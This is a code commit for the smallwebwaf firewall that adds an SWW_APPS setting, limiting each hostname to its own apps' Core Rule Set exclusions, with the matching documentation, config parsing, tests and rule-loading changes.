Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- tree_path, commit_summary and content on the web editor's pages:
  edit, new file, delete, upload, patch, cherry-pick and preview;
- fields that name a branch, for Windows commands and command names:
  new_branch_name, old_branch_name, old_ref_name, from, to, head, base,
  branch and new_branch; base also when a pull request is edited
  through the API;
- message of one file or several changed through the API, for system
  files and Windows commands.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5

README.md

@@ -278,6 +278,7 @@ Every setting the code reads, with its default:
 | `SWW_WAF_EXEMPT_PATHS`                   | empty                                                                                    | Path prefixes the Core Rule Set does not inspect.                                                                                                                                                                                                               |
 | `SWW_WAF_BODY_LIMIT`                     | `off`                                                                                    | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none.                                                                                                                                                                       |
 | `SWW_CORE_RULE_SET_EXCLUSIONS_FILE`      | unset                                                                                    | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only.                                                                                                                                                  |
+| `SWW_APPS`                               | unset                                                                                    | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
 | `SWW_BLOCKLIST_URLS`                     | empty                                                                                    | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`.                                                                                                                                     |
 | `SWW_BLOCKLIST_REFRESH`                  | `24h`                                                                                    | How long after a list was last tried it is fetched again, `1h` or more.                                                                                                                                                                                         |
 | `SWW_BLOCKLIST_ACTION`                   | `deny`                                                                                   | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`.                                                                                                                                                                          |
@@ -581,30 +582,30 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
   headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
   front of a code forge, bodies carry what people write and publish, which the
   rules take for attacks.
-- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
+- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
-  requests get through to the apps listed below. No setting undoes the changes;
+  requests to a code forge through, such as git over HTTP and sign-in through
-  "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
+  Git Credential Manager. No setting undoes the changes; "Attack detection" in
-- These apps work out of the box at the default settings, and their recorded
+  [`SPEC.md`](SPEC.md) lists them.
-  ordinary requests pass the Core Rule Set:
+- Each supported app also has its own fixes, which let its ordinary requests
-    - gitea: git over HTTP and sign-in through Git Credential Manager get
+  through. Its recorded ordinary requests pass the Core Rule Set at the default
-      through. On gitea's own paths, its searches, file names and branch names
+  settings. The supported apps, by their names in `SWW_APPS`, are:
-      do too.
+    - `gitea`, whose fixes let its container registry, searches, file names,
-    - Forgejo: git over HTTP and its container and package registries get
+      branch names and repository names through;
-      through. On Forgejo's own paths, its searches, file names and branch names
+    - `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own
-      do too.
+      fixes let its searches through;
-    - WordPress: saving a post from the block editor gets through. On
+    - `wordpress`, whose fixes let through its searches, its names, its file
-      WordPress's own paths, its searches, names and file names do too.
+      names and a post saved from the block editor;
-    - Drupal: on Drupal's own paths, the page to return to, its searches and its
+    - `drupal`, whose fixes let through the page to return to, its searches and
-      names get through.
+      its names;
-    - MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
+    - `mediawiki`, whose fixes let through its searches, its page titles, its
-      wikitext get through.
+      names and its wikitext;
-    - Mastodon: on Mastodon's own paths, its searches, names, email addresses,
+    - `mastodon`, whose fixes let through its searches, its names, its email
-      posts and deliveries from other servers get through.
+      addresses, its posts and deliveries from other servers;
-    - Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
+    - `vaultwarden`, whose fixes let through its names, its password hints, its
-      addresses and encrypted file names get through.
+      email addresses and its encrypted file names;
-    - Nextcloud: its sync client gets through. On Nextcloud's own paths, its
+    - `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
-      WebDAV methods, searches, file names, account names, comments and
+      its searches, its file names, its account names, its comments and its
-      documents do too.
+      documents.
 - A random password, as a password manager makes one, gets through these forms:
     - signing in, signing up, and changing or resetting a password, on
       WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
@@ -612,6 +613,9 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
     - deleting the account, on gitea;
     - the admin page, on Vaultwarden, whose apps send a hash of the master
       password, not the password itself.
+- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
+  apps' fixes. A hostname `SWW_APPS` does not list gets none. Unset, every app's
+  fixes apply to every hostname.
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
   fields or paths.
 - Rule files are plain text, one rule to a line, edited by hand and read again

docs/settings.md

@@ -256,6 +256,32 @@ the request first.
   a range. So does a directive that removes or changes rules as the file loads,
   such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
   yet. It has no `_FILE` form.
+- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
+  fixes of its hostname's apps only (see "Attack detection" in
+  [`SPEC.md`](../SPEC.md)).
+    - Entries are separated by semicolons. Each is a hostname, a colon, then one
+      or more apps separated by commas, for example
+      `git.example.com:gitea;blog.example.com:wordpress`.
+    - The supported apps are:
+        - `drupal`;
+        - `forgejo`, which gets gitea's fixes too;
+        - `gitea`;
+        - `mastodon`;
+        - `mediawiki`;
+        - `nextcloud`;
+        - `vaultwarden`;
+        - `wordpress`.
+    - The request's `Host` is matched by exact name, without its port and
+      without regard to case. There are no wildcards.
+    - A hostname not listed gets no app's fixes. Set empty, `SWW_APPS` lists no
+      hostname.
+    - Unset, every app's fixes apply to every hostname.
+    - Any of these mistakes stops the start:
+        - an unknown app;
+        - a hostname that is not a DNS name, such as `*.example.com`;
+        - a hostname listed twice;
+        - an app listed twice for one hostname;
+        - an entry without a colon.
 - `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
   in a minute from a rule file, a trap path or the Core Rule Set, a count or
   `off`. The next one bans the client (see "Attack detection" in `SPEC.md`).

internal/config/waf.go

@@ -21,6 +21,7 @@ import (
 
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 	"sneak.berlin/go/smallwebwaf/internal/remotelog"
 )
 
@@ -230,6 +231,11 @@ type Config struct {
 	WAFExemptPaths            []string
 	WAFBodyLimit              int64
 	CoreRuleSetExclusionsFile string
+	// Apps are the names of the apps each hostname serves, by hostname in
+	// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
+	// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
+	// request gets every app's fixes.
+	Apps map[string][]string
 	// TrapPaths are the paths a request for which is a clear sign of
 	// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
 	TrapPaths []string
@@ -379,6 +385,15 @@ var (
 	errNotTrapPath = errors.New(
 		"is not a path starting with / and without a ?, such as /wp-login.php",
 	)
+	errNotAppsEntry = errors.New(
+		"is not a hostname, : and a list of apps, such as git.example.com:gitea",
+	)
+	errNotHostname = errors.New(
+		"is not a DNS name such as git.example.com",
+	)
+	errNotApp = errors.New(
+		"is not an app sww has fixes for; the apps are",
+	)
 	errNotWAFMode       = errors.New("is not off, detect or block")
 	errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
 	errNotRuleID        = errors.New(
@@ -631,6 +646,7 @@ func FromEnvironment(
 		WAFBodyLimit:   env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
 		CoreRuleSetExclusionsFile: env.filePath(
 			"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
+		Apps:                env.apps("SWW_APPS"),
 		TrapPaths:           env.trapPaths("SWW_TRAP_PATHS"),
 		ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
 		LogRemoteURL:        env.logRemoteURL("SWW_LOG_REMOTE_URL"),
@@ -779,6 +795,25 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
 	return prefixes
 }
 
+// apps reads the setting that is the apps each hostname serves. It is nil
+// while the setting is unset, and logged as null, unlike a setting set
+// empty.
+func (e *environment) apps(name string) map[string][]string {
+	value, set := e.lookup(name)
+	if !set {
+		e.settings = append(e.settings, slog.Any(name, nil))
+
+		return nil
+	}
+
+	e.settings = append(e.settings, slog.String(name, value))
+
+	apps, err := parseApps(value)
+	e.check(name, err)
+
+	return apps
+}
+
 // trapPaths reads the setting that is the list of trap paths. It is empty
 // by default.
 func (e *environment) trapPaths(name string) []string {
@@ -1725,6 +1760,65 @@ func parseTrapPaths(value string) ([]string, error) {
 	return paths, nil
 }
 
+// parseApps reads the apps each hostname serves: entries separated by
+// semicolons, each a hostname, a colon, and a comma-separated list of the
+// names coreruleset.AppNames returns, such as
+// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
+// hostname is a DNS name, without a wildcard. It returns them by hostname
+// in lowercase, since a hostname is matched without regard to case. An
+// empty value lists no hostname.
+func parseApps(value string) (map[string][]string, error) {
+	apps := map[string][]string{}
+
+	if strings.TrimSpace(value) == "" {
+		return apps, nil
+	}
+
+	for entry := range strings.SplitSeq(value, ";") {
+		hostname, list, found := strings.Cut(entry, ":")
+		if !found {
+			return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
+		}
+
+		hostname = strings.ToLower(strings.TrimSpace(hostname))
+		if hostname == "" {
+			return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
+		}
+
+		if !isZone(hostname) {
+			return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
+		}
+
+		if _, listed := apps[hostname]; listed {
+			return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
+		}
+
+		names, err := parseList(list)
+		if err != nil {
+			return nil, err
+		}
+
+		if len(names) == 0 {
+			return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
+		}
+
+		for i, name := range names {
+			if !slices.Contains(coreruleset.AppNames(), name) {
+				return nil, fmt.Errorf("%q %w %s", name, errNotApp,
+					strings.Join(coreruleset.AppNames(), ", "))
+			}
+
+			if slices.Contains(names[:i], name) {
+				return nil, fmt.Errorf("%q %w", name, errListedTwice)
+			}
+		}
+
+		apps[hostname] = names
+	}
+
+	return apps, nil
+}
+
 // parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
 // rules, each a whole number above zero and outside firstSetupRuleID to
 // lastSetupRuleID.
@@ -2299,7 +2393,8 @@ func MaskZoneKey(zone string) string {
 	return masked + "." + rest
 }
 
-// isZone reports whether each label of zone is as parseZones takes it.
+// isZone reports whether each label of zone is as parseZones takes it. It
+// also checks the hostnames of SWW_APPS, which are DNS names too.
 func isZone(zone string) bool {
 	for label := range strings.SplitSeq(zone, ".") {
 		badChar := strings.ContainsFunc(label, func(char rune) bool {

internal/config/waf_test.go

@@ -90,6 +90,7 @@ const (
 	wafExemptPaths       = "SWW_WAF_EXEMPT_PATHS"
 	wafBodyLimit         = "SWW_WAF_BODY_LIMIT"
 	exclusionsFile       = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
+	apps                 = "SWW_APPS"
 	trapPaths            = "SWW_TRAP_PATHS"
 	errorBurstThreshold  = "SWW_ERROR_BURST_THRESHOLD"
 	logRemoteURL         = "SWW_LOG_REMOTE_URL"
@@ -639,6 +640,108 @@ func TestCoreRuleSetSettings(t *testing.T) {
 	}
 }
 
+// gitea is gitea's name in SWW_APPS.
+const gitea = "gitea"
+
+func TestApps(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		env  environment
+		want map[string][]string
+	}{
+		{environment{}, nil},
+		{environment{apps: ""}, map[string][]string{}},
+		{
+			environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
+			map[string][]string{
+				"git.example.com": {gitea}, "cloud.example.com": {gitea},
+			},
+		},
+		{
+			environment{apps: "cloud.example.com:gitea,wordpress"},
+			map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
+		},
+	} {
+		cfg := fromEnvironment(t, tc.env)
+		if !reflect.DeepEqual(cfg.Apps, tc.want) {
+			t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
+		}
+	}
+}
+
+// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
+func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		env  environment
+		want string
+	}{
+		{environment{}, `"` + apps + `":null`},
+		{environment{apps: ""}, `"` + apps + `":""`},
+	} {
+		var out bytes.Buffer
+
+		slog.New(slog.NewJSONHandler(&out, nil)).
+			Info("starting", "settings", fromEnvironment(t, tc.env))
+
+		if !strings.Contains(out.String(), tc.want) {
+			t.Errorf(
+				"%v logged %s, want %s in it",
+				tc.env,
+				out.String(),
+				tc.want,
+			)
+		}
+	}
+}
+
+func TestInvalidAppsStopsTheStart(t *testing.T) {
+	t.Parallel()
+
+	const (
+		notEntry = " is not a hostname, : and a list of apps, " +
+			"such as git.example.com:gitea"
+		notHostname = " is not a DNS name such as git.example.com"
+	)
+
+	for _, tc := range []struct{ value, want string }{
+		{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
+		{"git.example.com:gitea;", `""` + notEntry},
+		{":gitea", `":gitea"` + notEntry},
+		{"git.example.com:", `"git.example.com:"` + notEntry},
+		{"*.example.com:gitea", `"*.example.com"` + notHostname},
+		{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
+		{"git example.com:gitea", `"git example.com"` + notHostname},
+		{
+			"git.example.com:gitea,jellyfin",
+			`"jellyfin" is not an app sww has fixes for; ` +
+				`the apps are drupal, forgejo, gitea, mastodon, mediawiki, ` +
+				`nextcloud, vaultwarden, wordpress`,
+		},
+		{
+			"git.example.com:gitea;GIT.example.com:gitea",
+			`"git.example.com" is listed twice`,
+		},
+		{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
+		{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
+	} {
+		t.Run(tc.value, func(t *testing.T) {
+			t.Parallel()
+
+			_, err := config.FromEnvironment(
+				environment{apps: tc.value}.lookupEnv,
+			)
+
+			want := apps + ": " + tc.want
+			if err == nil || err.Error() != want {
+				t.Errorf("error %v, want %s", err, want)
+			}
+		})
+	}
+}
+
 func TestWAFBodyLimitOf64K(t *testing.T) {
 	t.Parallel()
 
@@ -2968,6 +3071,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
 		wafExemptPaths:       "",
 		wafBodyLimit:         off,
 		exclusionsFile:       "",
+		apps:                 "", // logged as null, which decodes as ""
 		trapPaths:            "",
 		errorBurstThreshold:  "30",
 		logRemoteURL:         "",

internal/coreruleset/coreruleset.go

@@ -1,9 +1,9 @@
 // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
 // method, the URL with its query and the headers of a request, and on its
-// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
+// body while SWW_WAF_BODY_LIMIT is set, with the five changes sww
-// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
+// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
-// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
+// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
-// response.
+// in SPEC.md describes them. It reads no response.
 //
 // sww writes only to its state directory, so Coraza is built with
 // its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,6 +16,8 @@ import (
 	"errors"
 	"fmt"
 	"io"
+	"maps"
+	"net"
 	"net/http"
 	"net/netip"
 	"os"
@@ -32,11 +34,8 @@ import (
 
 // directives are the Core Rule Set as sww runs it, with the
 // paranoia level for %d, bodyDirectives for the first %s while
-// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
+// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
-// giteaExclusions for the third, wordpressExclusions for the fourth,
+// directives of every app in apps for the third.
-// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
-// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
-// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
 // Each rule sww adds has an id from 900000 to 900999, the ids the
 // Core Rule Set keeps for the rules that set it up, which
 // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -84,70 +83,24 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
 # before the rules of phase 1 too.
 %s
 
-# The eighth change comes before the rules for the same reason.
+# The apps' fixes come before the rules for the same reason.
 %s
 
-# The ninth change comes before the rules for the same reason.
+# The fifth: only the rules for requests are loaded, and no response is
-%s
-
-# So does the tenth.
-%s
-
-# So does the eleventh.
-%s
-
-# So does the twelfth.
-%s
-
-# So does the thirteenth.
-%s
-
-# So does the fourteenth.
-%s
-
-# And the fifteenth.
-%s
-
-# The sixth: only the rules for requests are loaded, and no response is
 # inspected.
 Include @owasp_crs/REQUEST-*.conf
 
 # The third: redirect_uri is not checked for a URL naming an IP address or
-# localhost. Coraza matches a parameter name here, and in the fourth,
+# localhost. Coraza matches a parameter name here without regard to case.
-# without regard to case. ARGS holds the fields of a form data or multipart
+# ARGS holds the fields of a form data or multipart body Coraza reads as
-# body Coraza reads as well as the query parameters, so a field of one of
+# well as the query parameters, so a field of this name is left out too.
-# these names is left out too.
 SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
 SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
 
-# The fourth: the query parameters in which gitea sends names within a
+# The fourth: Referer is not checked for a Unix command without arguments
-# repository or its own records, or a page of its own site, are not
+# or for Java starting a process.
-# checked against the lists of system files, shell paths and command
-# names. Coraza takes one rule id per directive.
-SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
-    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
-    !ARGS:artifactName|!ARGS:redirect_to"
-SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
-    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
-    !ARGS:artifactName|!ARGS:redirect_to"
-SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
-    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
-    !ARGS:artifactName|!ARGS:redirect_to"
-
-# The fifth, for Referer: it is not checked for a Unix command without
-# arguments, for Java starting a process, or for a Java class name. 944130
-# refused every page opened from the page of java.lang.String.md. The
-# cookies are left out in Inspect.
 SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
 SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
-SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
-
-# The seventh: a container image push that reuses a layer names the image
-# it takes the layer from in the query parameter from, which is not
-# checked for command names. 932260 refused the push of a layer from
-# owner/python3-app.
-SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
-    "id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
 `
 
 // bodyDirectives have the Core Rule Set read the part of a request body
@@ -192,69 +145,73 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
     severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
 `
 
-// giteaExclusions are the eighth change: the fields of gitea's own
+// app is an app whose ordinary requests the Core Rule Set would refuse,
-// requests that skip the rules that refused them there, as Coraza
+// with the fixes that let them pass.
-// directives.
+type app struct {
-//
+	// directives are Coraza exclusions, loaded before the Core Rule Set's
+	// rules. Their first rule skips to the marker they end with, unless
+	// Inspect sets the transaction variable named for the app, such as
+	// app_gitea. The skip reaches only phase 1, so a rule of a later phase
+	// must check that variable itself.
+	directives string
+	// cookies are the cookies the Core Rule Set reads a request without.
+	cookies []string
+	// forkOf names the app this one is a fork of, "" for none. A hostname
+	// that lists this app gets that app's fixes too.
+	forkOf string
+}
+
 //go:embed gitea.conf
-var giteaExclusions string
+var giteaDirectives string
 
-// wordpressExclusions are the ninth change: the fields of WordPress's own
-// requests that skip the rules that refused them there, as Coraza
-// directives.
-//
 //go:embed wordpress.conf
-var wordpressExclusions string
+var wordpressDirectives string
 
-// drupalExclusions are the tenth change: the fields of Drupal's own
-// requests that skip the rules that refused them there, as Coraza
-// directives.
-//
 //go:embed drupal.conf
-var drupalExclusions string
+var drupalDirectives string
 
-// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
-// own requests that skip the rules that refused them there, as Coraza
-// directives.
-//
 //go:embed mediawiki.conf
-var mediawikiExclusions string
+var mediawikiDirectives string
 
-// mastodonExclusions are the twelfth change: the fields of Mastodon's own
-// requests that skip the rules that refused them there, as Coraza
-// directives.
-//
 //go:embed mastodon.conf
-var mastodonExclusions string
+var mastodonDirectives string
 
-// vaultwardenExclusions are the thirteenth change: the fields of
-// Vaultwarden's own requests that skip the rules that refused them there, as
-// Coraza directives.
-//
 //go:embed vaultwarden.conf
-var vaultwardenExclusions string
+var vaultwardenDirectives string
 
-// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
-// own requests that skip the rules that refused them there, the WebDAV
-// methods it uses, its cookie of the account's name, and its uploads,
-// whose bodies are not read, as Coraza directives.
-//
 //go:embed nextcloud.conf
-var nextcloudExclusions string
+var nextcloudDirectives string
 
-// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
-// requests that skip the rules that refused them there, where Forgejo differs
-// from gitea, as Coraza directives.
-//
 //go:embed forgejo.conf
-var forgejoExclusions string
+var forgejoDirectives string
 
-// cookiesNotRead are the cookies the Core Rule Set reads a request
+// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
-// without, the rest of the fifth change. flash is Forgejo's name for
+// flash is Forgejo's name for gitea_flash.
-// gitea_flash.
 //
-//nolint:gochecknoglobals // a constant cannot be a list
+//nolint:gochecknoglobals // a constant cannot be a map
-var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
+var apps = map[string]app{
+	"drupal": {directives: drupalDirectives},
+	"forgejo": {
+		directives: forgejoDirectives,
+		cookies:    []string{"flash"},
+		forkOf:     "gitea",
+	},
+	"gitea": {
+		directives: giteaDirectives,
+		cookies:    []string{"gitea_flash", "redirect_to"},
+	},
+	"mastodon":    {directives: mastodonDirectives},
+	"mediawiki":   {directives: mediawikiDirectives},
+	"nextcloud":   {directives: nextcloudDirectives},
+	"vaultwarden": {directives: vaultwardenDirectives},
+	"wordpress":   {directives: wordpressDirectives},
+}
+
+// AppNames returns the names of the apps whose fixes sww has, in
+// alphabetical order.
+func AppNames() []string {
+	return slices.Sorted(maps.Keys(apps))
+}
 
 // Params are what New needs.
 type Params struct {
@@ -270,6 +227,11 @@ type Params struct {
 	// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
 	// there is none.
 	ExclusionsFile string
+	// Apps are the names of the apps each hostname serves, by hostname in
+	// lowercase (SWW_APPS). A request gets only the fixes of its hostname's
+	// apps and of the apps they are forks of, or of every app while Apps is
+	// nil.
+	Apps map[string][]string
 }
 
 // The ids of sww's own rules, which an exclusions file may not
@@ -372,13 +334,17 @@ func checkExclusions(exclusions string) error {
 type CoreRuleSet struct {
 	engine    coraza.WAF
 	bodyLimit int64
+	// appsByHostname are the names of the apps each hostname serves, by
+	// hostname in lowercase (SWW_APPS), nil while SWW_APPS is unset.
+	appsByHostname map[string][]string
 }
 
-// New returns the Core Rule Set with the fifteen changes, at params'
+// New returns the Core Rule Set with the five changes and the apps' fixes,
-// paranoia level, without the rules it switches off, reading request
+// at params' paranoia level, without the rules it switches off, reading
-// bodies up to params' limit, and with params' exclusions file loaded
+// request bodies up to params' limit, and with params' exclusions file
-// before the Core Rule Set's rules. An exclusions file is an error if it
+// loaded before the Core Rule Set's rules. An exclusions file is an error
-// cannot be read or does not parse, or if checkExclusions refuses it.
+// if it cannot be read or does not parse, or if checkExclusions refuses
+// it.
 func New(params Params) (*CoreRuleSet, error) {
 	body := ""
 	if params.BodyLimit > 0 {
@@ -401,10 +367,13 @@ func New(params Params) (*CoreRuleSet, error) {
 		}
 	}
 
+	var fixes strings.Builder
+	for _, name := range AppNames() {
+		fixes.WriteString(apps[name].directives + "\n")
+	}
+
 	text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
-		giteaExclusions, wordpressExclusions, drupalExclusions,
+		fixes.String())
-		mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
-		nextcloudExclusions, forgejoExclusions)
 
 	if len(params.DisabledRules) > 0 {
 		ids := make([]string, len(params.DisabledRules))
@@ -422,7 +391,11 @@ func New(params Params) (*CoreRuleSet, error) {
 		return nil, fmt.Errorf("load the Core Rule Set: %w", err)
 	}
 
-	return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
+	return &CoreRuleSet{
+		engine:         engine,
+		bodyLimit:      params.BodyLimit,
+		appsByHostname: params.Apps,
+	}, nil
 }
 
 // Result is what the Core Rule Set found in a request.
@@ -434,11 +407,12 @@ type Result struct {
 	Score int
 }
 
-// Inspect runs the Core Rule Set on r, a request from client: on its
+// Inspect runs the Core Rule Set on r, a request from client, with the
-// method, its URL with the query, and its headers, the Cookie header
+// fixes of the apps appsFor names for r's hostname: on its method, its URL
-// without the cookies in cookiesNotRead, and on body, r's body as the
+// with the query, and its headers, the Cookie header without those apps'
-// caller has it, as readBody reads it. It returns what it found, what it
+// cookies, and on body, r's body as the caller has it, as readBody reads
-// read of body, and the error that ended the reading early, if one did.
+// it. It returns what it found, what it read of body, and the error that
+// ended the reading early, if one did.
 func (c *CoreRuleSet) Inspect(
 	r *http.Request, client netip.Addr, body io.Reader,
 ) (Result, []byte, error) {
@@ -446,13 +420,24 @@ func (c *CoreRuleSet) Inspect(
 	// Closing would remove the files Coraza wrote, and it writes none.
 	defer func() { _ = tx.Close() }()
 
+	// The transaction's variables are set only through Coraza's interface
+	// for plugins.
+	state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
+
+	var cookiesNotRead []string
+
+	for _, name := range c.appsFor(r.Host) {
+		state.Variables().TX().Set("app_"+name, []string{"1"})
+		cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
+	}
+
 	tx.ProcessConnection(client.String(), 0, "", 0)
 	tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
 
 	for name, values := range r.Header {
 		for _, value := range values {
 			if name == "Cookie" {
-				value = withoutCookiesNotRead(value)
+				value = withoutCookies(value, cookiesNotRead)
 				if value == "" {
 					continue // it held those cookies alone
 				}
@@ -548,9 +533,35 @@ func score(tx types.Transaction) int {
 	return n
 }
 
-// withoutCookiesNotRead returns value, a Cookie header's, without the
+// appsFor returns the names of the apps whose fixes a request for host,
-// cookies in cookiesNotRead.
+// its Host header, gets: every app while SWW_APPS is unset, and otherwise
-func withoutCookiesNotRead(value string) string {
+// those SWW_APPS lists for host's name, without the port and in
+// lowercase, each followed by the app it is a fork of, if any.
+func (c *CoreRuleSet) appsFor(host string) []string {
+	if c.appsByHostname == nil {
+		return AppNames()
+	}
+
+	hostname, _, err := net.SplitHostPort(host)
+	if err != nil {
+		hostname = host // it has no port
+	}
+
+	var names []string
+
+	for _, name := range c.appsByHostname[strings.ToLower(hostname)] {
+		names = append(names, name)
+		if apps[name].forkOf != "" {
+			names = append(names, apps[name].forkOf)
+		}
+	}
+
+	return names
+}
+
+// withoutCookies returns value, a Cookie header's, without the cookies
+// named in cookiesNotRead.
+func withoutCookies(value string, cookiesNotRead []string) string {
 	var kept []string
 
 	for cookie := range strings.SplitSeq(value, ";") {

internal/coreruleset/coreruleset_test.go

@@ -45,14 +45,16 @@ var loaded = struct {
 }{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
 
 // loaderFor returns the function that loads the Core Rule Set with params
-// once, making it the first time params are asked for.
+// once, making it the first time params are asked for. %#v writes a nil
+// Apps, which gives every app's fixes, apart from an empty one, which
+// gives none.
 func loaderFor(
 	params coreruleset.Params,
 ) func() (*coreruleset.CoreRuleSet, error) {
 	loaded.Lock()
 	defer loaded.Unlock()
 
-	settings := fmt.Sprintf("%+v", params)
+	settings := fmt.Sprintf("%#v", params)
 
 	load, found := loaded.loaders[settings]
 	if !found {
@@ -191,9 +193,10 @@ func inspectBody(
 	}
 
 	for _, header := range r.headers {
-		// Go's server keeps Host and Transfer-Encoding out of the headers.
+		// Go's server keeps Host and Transfer-Encoding out of the headers,
+		// whatever their case.
 		name, value, _ := strings.Cut(header, ": ")
-		switch name {
+		switch http.CanonicalHeaderKey(name) {
 		case "Host":
 			req.Host = value
 		case "Transfer-Encoding":
@@ -252,8 +255,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
 }
 
 // wantChange checks that crs lets through passes, a request one of the
-// fifteen changes is for, and still finds result in refused, a request like
+// five changes or an app's fixes are for, and still finds result in
-// it that the change is not for.
+// refused, a request like it that they are not for.
 func wantChange(
 	t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
 	result coreruleset.Result,
@@ -613,6 +616,166 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
 		matched(930120, 932160))
 }
 
+// giteaFixed are gitea requests that only gitea's fixes let through, one
+// for each kind of fix, each with what the Core Rule Set finds in it
+// without them.
+//
